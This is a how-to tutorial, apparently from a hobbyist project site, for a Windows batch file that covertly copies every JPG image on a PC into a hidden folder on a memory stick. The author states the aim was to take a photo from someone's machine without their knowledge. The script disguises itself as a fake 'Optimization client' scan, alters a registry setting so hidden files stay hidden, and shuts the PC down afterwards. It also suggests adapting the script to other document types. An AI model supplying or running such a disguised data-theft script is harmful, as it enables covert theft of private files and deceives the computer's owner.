So, first things first, what is this instructable creating and why.
This instructable will allow you to create a batch file that will copy all the images from a PC to your memory stick. it will do this discretely, posing as another program that is checking the computer for issues. When complete, you will have a hidden folder on your memory stick with all the copied images.
Why? I have created this instructable because I wanted to retrieve a digital photo from someones machine without them knowing I had done it. The legitimate use of this file will allow you to archive/backup your personal photos.
Other uses: This file can be modified to allow any other type of document to be copied.
Step 1: Write the code
Copy the following code into notepad and save it on the root of your memory stick as a bat file, you can name it whatever you want as long is it has the .bat extension. To ensure it does have the correct extension, type it as follows in the save box of notepad "copyimage.bat" (include the quotations!)
echo Optimization client 2008 v3.02b
echo Please do not use your PC while this is running.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo Please be patient this could take upto 3 hours.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
attrib -s +h data\* >nul
shutdown /s /c "Optimization scan complete, your PC will now shutdown"